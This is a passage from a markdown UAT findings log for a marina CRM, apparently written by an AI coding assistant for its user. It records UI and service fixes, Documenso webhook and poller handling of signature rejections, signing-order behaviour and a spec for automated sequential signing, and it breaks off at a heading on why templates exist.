- **Still open — sweep across every audit-log writer:** every other service emitting `action: 'update'` with no `fieldChanged` (or with an object as `newValue`) needs the same treatment. Pattern: discrete action verb + named field + human-readable old/new values. Candidates surfaced in earlier audits: interest stage transitions, berth status flips, document send / sign / cancel events, eoi auto-cancel, tenancy activate / end / transfer, payment record/delete. Each is ~10min of service-layer surgery; the bulk is the sweep.
|
||||
|
||||
### Activity feed UI — standardize across every entity surface
|
||||
|
||||
- **`OPEN`** — _src/components/shared/entity-activity-feed.tsx_ (the shared primitive) + every page that mounts an activity feed (client, interest, yacht, berth, company, tenancy, document).
|
||||
- **Symptom:** the user judges the client + interest activity feeds as the best-presented; other surfaces feel inconsistent. The shared `EntityActivityFeed` IS the same component across consumers, so the visual difference must be in (a) which surfaces still use a bespoke per-entity feed rather than the shared one, or (b) which surfaces pass which props (filters, empty-state copy, session-grouping window).
|
||||
- **Fix:** audit every place an activity feed renders. Anything that's bespoke gets migrated to the shared `EntityActivityFeed`. Anything that already uses the shared component but passes weak props (no filter dropdowns, no session collapsing) gets brought up to the client/interest baseline. Bundle with the audit-log content sweep above so the entries the feed renders are also comprehensive.
|
||||
|
||||
### CompanyPicker — empty on open
|
||||
|
||||
- **`SHIPPED locally (not yet committed)`** — _src/app/api/v1/companies/autocomplete/handlers.ts_ + _src/lib/services/companies.service.ts:303_.
|
||||
- **Symptom:** CompanyPicker popover opens empty even though the port has companies on file. Has to type something before any options surface.
|
||||
- **Root cause:** the autocomplete handler returned `{ data: [] }` immediately when `q` was empty; the picker fires its first query with `debounced=''`, so the list was always empty on first open.
|
||||
- **Fix applied:** empty `q` now returns the 10 most-recently-updated companies for the port (still capped to 10, matching the typed-search path). Non-empty `q` keeps the existing ilike-match.
|
||||
|
||||
### Yacht transfer dialog — drop "atomic" from copy
|
||||
|
||||
- **`SHIPPED locally (not yet committed)`** — _src/components/yachts/yacht-transfer-dialog.tsx:136_.
|
||||
- **Symptom:** dialog description says "The change is auditable and atomic." — "atomic" is engineering jargon, doesn't mean anything to a normal user.
|
||||
- **Fix applied:** rewrote to "The change is logged in the audit history." Same meaning, no jargon.
|
||||
|
||||
### ClientTenanciesTab — pending tenancies invisible
|
||||
|
||||
- **`SHIPPED locally (not yet committed)`** — _src/lib/services/clients.service.ts:415_.
|
||||
- **Symptom:** rep creates a tenancy via "Create tenancy" (status `pending`), sidebar Tenancies entry surfaces (lazy module flip works), but the client detail's Tenancies tab shows the empty state. Same for any pending tenancy auto-created from a signed Reservation Agreement webhook before the rep confirms activation.
|
||||
- **Root cause:** `clients.service.getById` filters `activeTenancies` to `status === 'active'` only. Pending rows fall outside that filter and never reach the tab.
|
||||
- **Fix applied:** filter widened to `inArray(status, ['pending', 'active'])`. The `TenancyList` component already renders a status pill per row so the rep distinguishes pending from active without a section split.
|
||||
|
||||
### TenancyList rows — not clickable to tenancy detail
|
||||
|
||||
- **`SHIPPED locally (not yet committed)`** — _src/components/tenancies/tenancy-list.tsx_.
|
||||
- **Symptom:** rows in the Tenancies sections (client tab, berth tab, yacht tab, top-level `/tenancies`) carry per-cell links for berth / client / yacht but no way to open the tenancy itself. Reps had to click the contract link or hunt for an edit affordance.
|
||||
- **Fix applied:** rows now navigate to `/{portSlug}/tenancies/{id}` on click. Inner links/buttons (BerthLink, ClientLink, YachtLink, "View contract") still fire their own behaviour because the click handler bails when the target is inside an `<a>` or `<button>`. Keyboard support: Enter/Space on the row also opens detail.
|
||||
|
||||
### BerthPicker — area suffix duplicates the group heading
|
||||
|
||||
- **`SHIPPED locally (not yet committed)`** — _src/components/shared/berth-picker.tsx:141_ (labelFor).
|
||||
- **Symptom:** every option rendered as `Berth A1 · A`, `Berth B5 · B` etc. The mooring number is already prefixed with the area letter, and the dropdown groups options under area-letter headings. The trailing ` · A` reads as visual noise.
|
||||
- **Fix applied:** dropped the area suffix from `labelFor` — rows now read `Berth A1`, `Berth B5`. Group heading still carries the area context. Same fix lands across every consumer of BerthPicker (tenancy create / renew / transfer dialogs, interest form, linked-berths add, etc.) because the label is centralized.
|
||||
|
||||
### Tag chips missing wherever StageStepper renders
|
||||
|
||||
- **`SHIPPED locally (not yet committed)`** — _src/components/clients/client-pipeline-summary.tsx_ + _src/components/clients/client-interests-tab.tsx_.
|
||||
- **Fix applied:** every StageStepper call site (Overview top-deal block, Overview interest list, Interests-tab row item, Interests-tab detail panel) renders a tag-chip strip under the stepper. ClientInterestRow type carries `tags?: Array<{ id, name, color }>` and the interests list endpoint resolves the join in a single batch.
|
||||
- **React-grab anchor:** `<div class="flex-1 truncate...">Qual.</div>` in StageStepper in InterestRowItem in ClientInterestsTab.
|
||||
- **Symptom:** the InterestRowItem cards show berth label + stage badge + stepper, but no tag chips. Tags are first-class on interests everywhere else (detail page, list view) — the same chips should follow the StageStepper everywhere it appears so reps see "Hot lead / VIP / Returning client" context at a glance without drilling in.
|
||||
- **Fix:** (a) extend `ClientInterestRow` with `tags?: Array<{ id, name, color }>` and surface from `useClientInterests` (`/api/v1/interests?clientId=X`). (b) Render a small tag-chip strip just above or below the StageStepper in InterestRowItem + every other StageStepper call site (currently `client-interests-tab.tsx:88, 263`, `client-pipeline-summary.tsx:224, 340`). (c) Cap to ~3 chips with a "+N" overflow indicator so long tag lists don't blow up the row height.
|
||||
|
||||
### New-document "Upload file" — unclear where the file lands
|
||||
|
||||
- **`SHIPPED locally (not yet committed)`** — _src/components/documents/new-document-menu.tsx_ (Upload file dialog's `onUploadComplete`).
|
||||
- **Fix applied:** per-file completion now emits a `toast.success('Uploaded <filename>')` with an action link. When the upload happened under an entity (clients/companies/yachts) the action navigates to that entity's detail page; otherwise it opens the destination folder via `/documents?folderId=…`. Still deferred (lower priority): naming the destination folder verbatim in the pre-upload dialog description.
|
||||
|
||||
### Recent files — no link to folder or attached entity
|
||||
|
||||
- **`SHIPPED locally (not yet committed)`** — _src/components/documents/hub-root-view.tsx_ + _src/lib/services/files.ts_ (`listFiles`).
|
||||
- **Fix applied:** each row in the Recent files panel shows a folder chip (linking to `/documents?folderId=…`) and an entity badge (Interest / Client / Yacht / Company → entity detail page). `listFiles` already resolves `folderName / clientName / yachtName / companyName / interestSummary` in a single batched lookup so no N+1 cost.
|
||||
- **React-grab anchor:** `<h3 class="flex items-cent...">Recent files</h3>` in HubRootView.
|
||||
- **Symptom:** each recent-file row only shows filename + size + date; the rep has to remember which client / interest the file belongs to. No CTA to jump into the parent folder either.
|
||||
- **Fix:** extend row payload with `{ folderId, folderName, clientId, clientName, interestId, interestBerthLabel }`. Render a small badge column showing the attached entity (client name or interest's berth label, like the EntityFolderView pattern already shipped). Right-hand action gains an icon button "Open folder" that navigates to the folder view in Documents Hub.
|
||||
|
||||
---
|
||||
|
||||
## Bucket 2 — Medium (15 min – 2 h)
|
||||
|
||||
### Supplemental-info form — no port branding, no logo on top
|
||||
|
||||
- **`SHIPPED locally (not yet committed)`** — _src/app/public/supplemental-info/[token]/page.tsx_ + _src/components/shared/branded-auth-shell.tsx_ + _src/lib/services/supplemental-forms.service.ts_ (loadByToken).
|
||||
- **Fix applied:** `loadByToken` now returns `port: { name, logoUrl, backgroundUrl }` via `getPortBrandingConfig(token.portId)`. Page passes that directly to `BrandedAuthShell` via the explicit `branding` prop so the logo + backdrop render regardless of the route-group context.
|
||||
|
||||
### Supplemental-info form — extends edge-to-edge on long forms
|
||||
|
||||
- **`SHIPPED locally (not yet committed)`** — _src/components/shared/branded-auth-shell.tsx_.
|
||||
- **Fix applied:** added a `width?: 'sm' | 'md'` prop. `'md'` widens the card to `max-w-xl` and swaps the `fixed inset-0` viewport pin for a normal `min-h-dvh` page scroll, so a 20+ field form scrolls naturally on mobile instead of clipping under the rubber-band cap. Login surfaces stay on `'sm'` (default) with the original pinned-and-centered shell.
|
||||
|
||||
### Supplemental-info form — address fields incomplete
|
||||
|
||||
- **`SHIPPED locally (not yet committed)`** — _src/app/public/supplemental-info/[token]/page.tsx_ + _src/app/api/public/supplemental-info/[token]/route.ts_ + _src/lib/services/supplemental-forms.service.ts_.
|
||||
- **Fix applied:** form now exposes street + city + region/state + postal code + country as separate inputs, mirroring the `client_addresses` shape. `loadByToken` returns the existing values for prefill; the API schema accepts the new fields; `applySubmission` diffs + writes them per-column with field-history entries.
|
||||
|
||||
### Supplemental-info form — no context about where details land
|
||||
|
||||
- **`SHIPPED locally (not yet committed)`** — _src/app/public/supplemental-info/[token]/page.tsx_.
|
||||
- **Fix applied:** added the port name as an eyebrow above the title ("PORT NIMARA") and a clarifying line in the intro: "Submissions go straight to the team handling your application." The success state also references the port name explicitly.
|
||||
|
||||
### Marketing-site form parity — primary surface lives on the website
|
||||
|
||||
- **`OPEN`** (cross-repo) — _docs/marketing-site-followups.md_ for the spec; CRM keeps the `/public/supplemental-info/[token]` route as fallback.
|
||||
- **Symptom / direction:** the marketing site should host the public-facing supplemental-info form (and any other public client forms, e.g. the EOI pre-flight intake) so the polish matches the rest of the public surface. The CRM-hosted page stays as the operator-safe fallback if the marketing site is down or not pointed at.
|
||||
- **Fix:** document the API contract in `docs/marketing-site-followups.md` (route, payload shape, prefill response, submission schema, token expiry behaviour) so the marketing-site team can build the equivalent. Per-port hardcoded form layouts are fine on the marketing-site side; the CRM API stays generic.
|
||||
|
||||
### Interest OverviewTab — inherit empty fields from client + visually denote
|
||||
|
||||
- **`SHIPPED locally (not yet committed)`** — _src/components/interests/interest-tabs.tsx_ (OverviewTab + EditableRow).
|
||||
- **Fix applied:** EditableRow gains an `inheritedFrom?: 'client' | 'yacht' | 'company'` prop that renders a small "from client" / "from yacht" pill next to the label. Wired on the Email + Phone rows so reps know edits propagate to the client-level contacts table. Yacht-dimension inheritance was already in place via the `yachtDimensions` payload + per-axis "from yacht" pill in the desired-dimensions block; both inheritance signals now use the same visual language.
|
||||
- **React-grab anchor:** `<div class="space-y-1" />` in OverviewTab, inside the TabsContent presence wrapper.
|
||||
- **Symptom:** the OverviewTab shows interest-level fields that, when empty, render as " - ". If the client (or linked yacht for dimensions) already has those details on file, the rep has to navigate to the client / yacht to see them. Adds friction + risks reps re-asking the client.
|
||||
- **Fix:** when an interest field is null but the client/yacht has it filled, render the inherited value with a small visual cue (e.g. italic + a "from client" or "from yacht" pill). Editing in place should write to the interest's own column (override). Specific candidates:
|
||||
- Berth requirements (desiredLengthFt/widthFt/draftFt) → fall back to linked yacht's lengthFt/widthFt/draftFt.
|
||||
- Email/phone — already shown via `ClientChannelEditor` which reads client-level; the inheritance is implicit there but no visual indicator exists for "this came from client primary contacts."
|
||||
- Address / country — interest has no address column; if shown on Overview, it's a pure read of the client's primary address (visual indicator helps reinforce that editing here updates the CLIENT, not just this deal).
|
||||
- **Open question:** should editing an inherited dimension write to the interest (override, deal-specific) or to the yacht (correct the yacht record)? Default proposal: write to the interest (override pattern) and offer a follow-up CTA ("Update yacht record too?").
|
||||
|
||||
---
|
||||
|
||||
## Bucket 3 — Features / larger (> 2 h)
|
||||
|
||||
### Documenso rejection reason — pull through + surface to the rep
|
||||
|
||||
- **`SHIPPED locally (not yet committed) — backend; UI surfacing queued`**
|
||||
- **Files touched:**
|
||||
- _src/app/api/webhooks/documenso/route.ts_ (`DocumensoRecipient` type extended with `rejectionReason` + `declineReason`; DOCUMENT_REJECTED / DOCUMENT_DECLINED handler now coalesces the two field names and passes through).
|
||||
- _src/lib/services/documents.service.ts_ (`handleDocumentRejected` signature gains `rejectionReason?: string | null`; `document_events.eventData` stores it; audit log metadata carries it; the in-CRM notification description quotes it inline, truncated at 120 chars with full reason still in the audit row).
|
||||
- **User's question:** "are we able to pull through the rejection reason through the API if a signer rejects the document through documenso? if so we need to pull it through and append it."
|
||||
- **Answer:** yes — Documenso sends the cleartext reason on the recipient object (`rejectionReason` on v2; some 1.x payloads use the legacy `declineReason`). Up to this fix we were ignoring both. Now coalesced + persisted + surfaced.
|
||||
- **Where the reason now appears (after this fix):**
|
||||
1. `document_events` row → `eventData.rejectionReason` (the audit timeline can render it).
|
||||
2. `audit_logs` row → `metadata.rejectionReason` (admin's audit-log viewer surfaces it).
|
||||
3. In-CRM rep notification → inline in the description quoted in ASCII quotes, truncated to 120 chars so the bell tile doesn't wrap awkwardly. Example: `matt@letsbe.solutions declined to sign: "The deposit amount needs to be £20k not £30k" — review and regenerate.`
|
||||
- **Still queued (UI surfacing):** EOI tab + InterestEoiTab status banner should also render the rejection reason inline below the "EOI declined" headline. Right now the banner just says rejected without surfacing the why. ~30 min to wire — query the latest `document_events` row of type=`rejected` for the active EOI and pluck `eventData.rejectionReason`. Bundle with the next round of EOI-tab polish.
|
||||
- **Cross-ref:** the broader "Activity feed comprehensive copy" finding above — both are about pulling raw signal out of audit_logs / document_events and rendering it as actionable copy instead of generic "updated this record" / "EOI declined." Pattern: every domain event should carry domain-meaningful detail through to the UI.
|
||||
|
||||
### Documenso rejection — UI didn't reflect rejected state; poller fallback was missing the REJECTED branch
|
||||
|
||||
- **`PARTIALLY SHIPPED locally (poller fixed; webhook URL auto-update + admin health-check queued)`**
|
||||
- **Confirmed root cause (per user):** Documenso webhooks were configured to a stale cloudflared tunnel URL (quick-tunnels rotate hostnames on restart). Documenso was POSTing into a dead host. The CRM never received the rejection event. User confirmed: "the webhooks aren't working because they're a cloudflare tunnel link that is set in the crm but no longer works".
|
||||
- **Secondary root cause (discovered while fixing):** the existing `signature-poll` BullMQ job runs every 5 minutes via `src/lib/queue/scheduler.ts:21` and is the documented fallback for missed webhook deliveries — but it **did not handle the REJECTED / DECLINED path at all.** It only reconciled SIGNED (recipient), COMPLETED (document), and EXPIRED (document). A rejected document polled by this job saw no matching branch and exited silently. So even with the polling fallback running, rejections were invisible to the CRM. User reasonably asked: "shouldn't the API be polling for updates to signatures/document stuff in the absence? Is the system not checking if the webhook works, or is there no way to do so?"
|
||||
- **Files touched (this fix):**
|
||||
- _src/lib/services/documenso-client.ts:157_ (`normalizeDocument`) — recipient shape now coalesces `rejectionReason` ?? `declineReason` and surfaces it on every poller / direct-fetch consumer.
|
||||
- _src/lib/services/documenso-client.ts:213_ (`DocumensoDocument.recipients[]`) — gains optional `rejectionReason?: string`.
|
||||
- _src/jobs/processors/documenso-poll.ts_ — new `else if` branch for `remoteDoc.status === 'REJECTED' | 'DECLINED'`. Finds the rejecting recipient, plucks the reason, hands off to `handleDocumentRejected` with the same shape the webhook receiver uses — so `document_events`, audit log, notification, and UI all converge on identical state regardless of delivery path.
|
||||
- _src/lib/services/documents.service.ts:1920_ (`handleDocumentRejected` — already-extended in the earlier rejection-reason finding) — accepts `rejectionReason?: string | null`, stores on `document_events.eventData`, surfaces in the rep notification description, persists in audit log metadata.
|
||||
- _src/app/api/webhooks/documenso/route.ts_ (already-extended earlier this turn) — DOCUMENT_REJECTED / DOCUMENT_DECLINED handler coalesces the reason and passes through.
|
||||
- **Result of this fix:** even with a broken tunnel, the rejected document will converge to `status='rejected'` within 5 minutes of the next `signature-poll` job tick. The rep gets the notification, the EOI tab status pill flips, audit log carries the rejection reason. Webhook is now an OPTIMISATION (sub-second), not a CORRECTNESS REQUIREMENT.
|
||||
- **Still queued (higher-value follow-ups):**
|
||||
1. **Auto-update Documenso's webhook URL on tunnel restart.** `./scripts/tunnel-url.sh --copy` already prints the URL; extend it to also POST to Documenso's webhook-update API endpoint using the same API key the CRM uses for envelope creation. One command rotates the URL on every dev session. Add a LaunchAgent post-start hook so this happens automatically when the tunnel-service restarts.
|
||||
2. **Admin "Webhook health" page.** New page at `/admin/integrations/webhooks` that surfaces: last-received timestamp per webhook event type (so a multi-day gap is visible), count of webhooks received in the last 24h vs documents created in the same window (the ratio should be ~1:1 in a healthy port), a "Test webhook delivery" button that posts a synthetic test event and waits for the round-trip. ~3–4h.
|
||||
3. **Periodic divergence alarm.** Cron job (separate from `signature-poll`): if more than X documents are stuck in `'sent'` for > Y hours, fire an alert to super admins so they investigate webhook / Documenso config. ~1h once the alert infra is settled.
|
||||
4. **Document the "re-paste tunnel URL into Documenso after every tunnel restart" gotcha in CLAUDE.md** until the auto-PATCH lands. ~5 min.
|
||||
- **Why polling alone isn't enough long-term:**
|
||||
- Latency: 5-min worst case until the CRM converges. Reps watching for a fresh signature don't want to wait 5 minutes.
|
||||
- Cost: per-poll `getDocument` call per in-flight doc per 5 min × N ports = noticeable Documenso API traffic at scale.
|
||||
- Webhooks remain the right primary path; polling is the safety net. Both should work.
|
||||
- **How the user can verify the fix right now:**
|
||||
- Run `./scripts/tunnel-url.sh --copy`, paste the URL into Documenso webhook settings (Documenso → Settings → Webhooks → edit the existing one → paste new URL → save). The webhook is now reachable for the next test.
|
||||
- Alternatively (without fixing the tunnel), wait up to 5 minutes — the poller will pick up the existing rejected doc and reconcile it. Watch the EOI tab; status pill should flip from AWAITING SIGNATURES to REJECTED.
|
||||
- **Cross-refs:**
|
||||
- The "Documenso upload comprehensive audit" finding (Bucket 3 above) — bundle with that audit since both are about Documenso ↔ CRM state convergence under failure modes.
|
||||
- The "Documenso rejection reason — pull through" finding above — same chain of changes; the poller fix completes the rejection-reason-everywhere arc.
|
||||
- **Open questions for the user:**
|
||||
1. **Should the auto-PATCH of Documenso's webhook URL on tunnel restart happen unconditionally**, or behind a feature flag (`DEV_AUTO_UPDATE_DOCUMENSO_WEBHOOK=1`) so prod ports can't accidentally have their webhook URL rotated by a stale dev script? My recommendation: env-flag-gated.
|
||||
2. **What should the admin Webhook Health page do for ports with NO webhooks ever received?** Render a "not yet tested" empty state, or auto-fire a synthetic test on first page load? Default proposal: explicit "Test now" button — surprise-auto-firing webhooks on a fresh admin visit is wrong.
|
||||
|
||||
### Documenso signing order — does template's SEQUENTIAL win or does CRM override?
|
||||
|
||||
- **`ANSWER + clarifying fix queued`**
|
||||
- **User question:** "is the signing order we designate overridden by the template signing order set in the documenso app when I make a template?"
|
||||
- **Files inspected:**
|
||||
- _src/lib/services/documenso-client.ts:462-499_ (template-use → envelope-update post-create flow).
|
||||
- _src/lib/services/documents.service.ts:813_ (`docCfg.signingOrder ? { signingOrder: docCfg.signingOrder } : {}` spread on EOI generate call).
|
||||
- _src/lib/services/port-config.ts_ (getPortDocumensoConfig returns `signingOrder: 'PARALLEL' | 'SEQUENTIAL' | null`).
|
||||
- **Answer:** **the CRM's per-port `documenso_signing_order` setting overrides the template's stored signing order — but only when the port setting is explicitly set.** Mechanism:
|
||||
- `/template/use` creates the envelope from the template. Documenso v2's template-use endpoint **silently drops the `meta` field on the request body** — signingOrder/subject/message/redirectUrl all inherit from the template's stored defaults. (See the comment at documenso-client.ts:464.)
|
||||
- The CRM then patches `/envelope/update` while the envelope is still DRAFT to apply per-port overrides. This update _can_ set signingOrder.
|
||||
- At documenso-client.ts:472-476 the update only includes `signingOrder` (and the other meta fields) when the value is non-empty. If the port's `documenso_signing_order` setting is empty/null, the update skips that field and the **template's stored value (SEQUENTIAL in your case) is preserved.**
|
||||
- At documents.service.ts:813 the signingOrder is only PASSED to the create call when truthy. Same logic — empty port setting means template wins.
|
||||
- **Implication for the user's port:** if the EOI currently shows "Concurrent" but the template is SEQUENTIAL, your port's `documenso_signing_order` setting is set to `PARALLEL` (overriding the template). Check at Admin → Documenso → Behavior → signing order. Either flip it to SEQUENTIAL (forces sequential regardless of template) or clear it to `null` (defers to whatever the template specifies, which would honour your SEQUENTIAL template).
|
||||
- **Suggested UX fix (capture as `OPEN`):** the admin settings form for `documenso_signing_order` should offer **three** values, not two: `SEQUENTIAL`, `PARALLEL`, and `Use template default` (the empty/null state). Today it's a binary toggle that hides the "defer to template" option. A rep configuring per-port settings can't easily express "I want the template to win" without knowing to leave the field blank.
|
||||
- **Cross-refs:** ties into the Automate Signing finding directly below — automation behaviour DEPENDS on signing order semantic, so they should ship in the same wave.
|
||||
|
||||
### Automate signing — single button that cascades invites + emails the completed doc (REFINED with signing-order awareness)
|
||||
|
||||
- **`SHIPPED locally (not yet committed)`** — committed earlier this UAT round as commit `fe5f98d` (`feat(automate-signing): one-click invitation kickoff + auto cascade + completion broadcast`).
|
||||
- **Where it lives:** `src/lib/services/signing-automation.service.ts` orchestrates the kickoff + cascade. `documents.automation_mode` column tracks `'manual' | 'sequential_auto' | 'concurrent_auto'` (migration `0088_documents_automation_mode.sql`). Webhook handler in `src/app/api/webhooks/documenso/route.ts` reads automation mode on each recipient-signed event and fires the next invite when in `sequential_auto`.
|
||||
- **Files implicated (once built):**
|
||||
- _src/components/documents/active-eoi-card.tsx_ (new "Automate signing" button + state visualisation).
|
||||
- _src/lib/services/documents.service.ts_ (new `automateSigning(documentId, portId)` orchestrator).
|
||||
- _src/lib/services/documenso-client.ts_ (already has `sendDocument` + `sendReminder`; may need `setSigningOrder('SEQUENTIAL')` mid-flight if the doc wasn't created sequential).
|
||||
- _src/app/api/webhooks/documenso/route.ts_ → `handleRecipientSigned` (today only updates the row; needs a branch that fires the NEXT signer's invite when the envelope is in "automated" mode).
|
||||
- _src/lib/db/schema/documents.ts_ — new column `documents.automation_mode: 'manual' | 'sequential_auto' DEFAULT 'manual'`.
|
||||
- _src/lib/email/templates/_ — new template `signing-completed-recipient-bundle.tsx` for the all-done broadcast with signed PDF attached (already 80% there — `compose-completion-email` route exists per `document-detail.tsx:217`).
|
||||
- **React-grab anchor:** `<section class="rounded-xl bord..." />` in `ActiveEoiCard` in `InterestEoiTab`.
|
||||
- **User's request (verbatim):** "there should also be something like an 'Automate Signing' button where it sends out an auto invite to the signers in order one after the other as they sign, then send them all a confirmation email with the signed document attached when done."
|
||||
- **Proposed feature spec (two-mode):**
|
||||
1. **New button on ActiveEoiCard:** "Automate signing" — visible when (a) the doc has ≥2 signers, (b) status is `draft` (Documenso has the envelope but no invite has gone out yet), (c) the rep has `documents.send` permission. Same conditions as the existing per-row "Send invitation" CTA but operates over the whole flow.
|
||||
2. **On click:** the dialog branches based on the document's signing order (which the CRM reads from the envelope via `getDocument` or persists locally on `documents.signing_order` at create time):
|
||||
- **Concurrent / PARALLEL signing order:** confirmation modal explains "All N signers will receive the invitation now. As each signs, you'll see their progress in real time. When everyone has signed, every recipient gets the completed PDF by email." Submission fires ALL signer invitations in parallel (single bulk dispatch) and sets `documents.automation_mode='concurrent_auto'`. The webhook completion handler still fires the final broadcast email — same as sequential mode below.
|
||||
- **Sequential / SEQUENTIAL signing order:** confirmation modal explains "Documenso will route this in order. First we'll invite {firstSigner.name}. As each signer completes, the next invite fires automatically. When everyone has signed, every recipient gets the completed PDF by email." Submission fires only the first signer's invitation and sets `documents.automation_mode='sequential_auto'`. Webhook handler fires next-in-order on each `recipient_signed` (logic below).
|
||||
3. **Webhook side (sequential mode only):** in `handleRecipientSigned`, after the existing row update, check the parent doc's `automation_mode`. If `sequential_auto` AND there's a next-in-order signer with `invitedAt=NULL` AND envelope status isn't completed, fire that signer's invitation. Concurrent mode skips this entirely (everyone already invited). Use the existing token + branded-invite path so the email is identical to a manually-fired invite.
|
||||
4. **On completion** (`handleDocumentCompleted`) — shared across both modes: if `automation_mode` is `concurrent_auto` OR `sequential_auto`, queue the existing `composeCompletionEmail` route logic to send the signed PDF to every recipient (signers + CCs + approvers). Stays decoupled from the user-driven `email-completion` flow that already exists for manual mode.
|
||||
5. **UI state during automation (mode-aware):**
|
||||
- **Sequential:** ActiveEoiCard shows an "Automating · signer N of M" banner.
|
||||
- **Concurrent:** banner reads "Automating · all N signers invited · 0 of N signed" and updates as signatures land.
|
||||
- **Both modes:** per-row layout collapses to a status badge + the existing Copy link button (so reps can still manually share if they want a parallel channel).
|
||||
- **Both modes:** A "Pause / Revert to manual" affordance lets the rep stop auto-firing mid-flow (set `automation_mode='manual'`).
|
||||
6. **Why distinguish concurrent vs sequential automation:** user noted that for concurrent, automation is just "send invites at once" — the cascade-as-they-sign logic only applies to sequential. Spec must NOT force a concurrent doc into a sequential cascade just because the rep clicked Automate. The signing order is preserved from the envelope; automation respects it.
|
||||
- **Why this matters:** today the rep has to babysit a multi-signer doc: send invite #1, watch for webhook, send invite #2, repeat. For a 4-signer Reservation Agreement (common case per recent UAT screenshot) that's 4 manual button clicks across hours/days. Automation closes the gap between "Documenso supports sequential signing" and "the rep gets a one-click 'set it and forget it' workflow."
|
||||
- **Effort:** ~6–8h end-to-end.
|
||||
- ~30 min schema migration + Drizzle type update for the new column.
|
||||
- ~1h orchestrator service function + permission gate.
|
||||
- ~1h webhook branch (sequential-auto next-fire logic) + idempotency guard so two concurrent webhook deliveries don't double-fire.
|
||||
- ~1h completion-email broadcast wiring (reuse `composeCompletionEmail`).
|
||||
- ~1.5h ActiveEoiCard UI (button + confirmation modal + automating banner + pause CTA).
|
||||
- ~1h vitest covering: automation enable → first invite fires; webhook signs → next invite fires; completion → broadcast email; pause mid-flow → no further auto-fires.
|
||||
- ~30 min audit-log entries on enable / pause / auto-fire / broadcast.
|
||||
- **Alternatives considered + rejected:**
|
||||
- **Auto-fire ALL invites at once instead of sequentially** — rejected because Documenso's SEQUENTIAL signing order specifically means signers must wait their turn. Firing all invites at once + asking signers to wait is confusing UX.
|
||||
- **Defer to Documenso's native auto-send** — rejected because Documenso's auto-send doesn't trigger our branded invite email path or our post-completion broadcast; the rep gets Documenso's stock emails instead of the per-port-branded templates we ship.
|
||||
- **Cross-refs:**
|
||||
- `documenso_signing_order` per-port setting (already exists per CLAUDE.md Documenso section).
|
||||
- `compose-completion-email` route (document-detail.tsx:217 — partially built; this finding finishes the auto-broadcast half).
|
||||
- Pairs with the "Documenso upload comprehensive audit" finding above — both touch the upload-for-signing service. Bundle them as one focused Documenso polish wave.
|
||||
- **Open questions for the user:**
|
||||
1. **When the rep enables automation mid-flow (e.g. signer #1 was already manually invited), should the system pick up where they left off, or refuse and require the rep to start from a draft?** Default proposal: pick up — find the next-in-order signer with `invitedAt=NULL` and fire from there. Cleanest UX, matches what reps would expect.
|
||||
2. **Completion broadcast scope — does it include CCs and Approvers, or only the SIGNERs?** Default proposal: everyone (the CC role exists specifically to get a copy at the end). If you want a different default, name it.
|
||||
3. **Should the rep be able to PARTIALLY automate — fire invites automatically but stop short of the broadcast email?** I'd say no for v1 (one workflow, one mode), but if your reps already split those steps mentally we could offer two distinct modes.
|
||||
4. **Existing per-row "Send invitation" + "Send reminder" buttons during automation — keep them visible (as override) or hide entirely?** Default proposal: keep them visible but show "Auto-firing soon" tooltip when the doc is in `sequential_auto`. Reps retain manual control.
|
||||
|
||||
### `/documents/new` CreateDocumentWizard — confusing, redundant pathways
|
||||
|
||||
- **`MOSTLY SHIPPED locally (not yet committed) — remaining: convert page to dialog`**
|
||||
- **What shipped (per commit `2107480` `feat(wizard-refactor): drop inapp pathway + upload branch + per-port template defaults + mark-signed dropdown`):**
|
||||
- Wizard upload branch removed; `source: 'template'` hard-coded.
|
||||
- `pathway: 'documenso-template'` hard-coded; `inapp` removed.
|
||||
- Doc-type-driven template defaults: `/api/v1/documents/template-defaults` returns the per-port `documenso_eoi_template_id` / `documenso_reservation_template_id` / `documenso_contract_template_id`; wizard auto-fills the picker when the rep selects a doc type.
|
||||
- "Mark as signed (offline)" dropdown item exists in NewDocumentMenu (line 113 of new-document-menu.tsx).
|
||||
- **Remaining:** drop the `/documents/new` route in favour of a `<GenerateDocumentDialog>` modal opened from the dropdown — architectural change, deferred until the rest of the launch stabilises.
|
||||
- **React-grab anchor:** `<section class="rounded-md bord..." />` in CreateDocumentWizard in NewDocumentPage.
|
||||
|
||||
**Current state — three flows wired three different ways:**
|
||||
|
||||
| # | What | Entry point today | Underlying mechanism |
|
||||
| --- | ---------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 1 | Generate an EOI/Contract/Reservation from a template, send through Documenso | `EoiGenerateDialog` (interest tab) OR `/documents/new` wizard → `Generate from a template` + pathway = `documenso-template` | Template synced to Documenso; CRM calls the Documenso template-generate endpoint with merge-field values; Documenso renders + distributes for signing. |
|
||||
| 2 | Upload an arbitrary PDF, place fields manually, send through Documenso | `UploadForSigningDialog` (interest tabs + NewDocumentMenu dropdown) | PDF uploaded to storage; rep drags signature/text/date/checkbox fields onto the PDF preview; CRM POSTs PDF + field metadata to Documenso (`field/create-many` on v2 or the legacy `placeFields` on v1). |
|
||||
| 3 | Upload a PDF that's already signed offline, mark it as signed | `ExternalEoiUploadDialog` (interest EOI tab) for EOIs; equivalent for Reservation/Contract on their tabs | No Documenso involvement; service flips `eoiStatus`/`reservationDocStatus`/`contractDocStatus` to `signed` + advances stage; pure metadata operation. |
|
||||
|
||||
**What's wrong:**
|
||||
|
||||
1. **Wizard duplicates the dropdown.** `NewDocumentMenu` already exposes three named actions (Upload file / Upload & send for signature / Generate for signing) that map cleanly to flows 2/2/1. The wizard then takes the rep to `/documents/new`, where they pick AGAIN between "Generate from a template" and "Upload a finished PDF" — the upload branch is just flow 2 reimplemented worse (no field placement UI, just a stored file id).
|
||||
2. **The "inapp" template pathway is undocumented and probably unused.** The wizard's pathway dropdown offers `documenso-template` (rendered by Documenso) vs `inapp` (rendered by CRM via pdf-lib AcroForm fill, then sent to Documenso for signature). The inapp pathway exists in code but no UI feature surfaces it as a deliberate choice — it's a configuration trap.
|
||||
3. **Flow 3 (upload externally-signed) has no entry from the wizard or the dropdown.** It's only reachable from the per-interest tabs, which is fine for EOI / Reservation / Contract, but means a rep who lands on `/documents/new` can't even ask for it.
|
||||
4. **Templates feel like a heavyweight concept.** Reps want to "send an EOI to this client" — they shouldn't have to think about which template id maps to that.
|
||||
|
||||
**Why templates exist (do we need them?):**
|
||||
|
||||
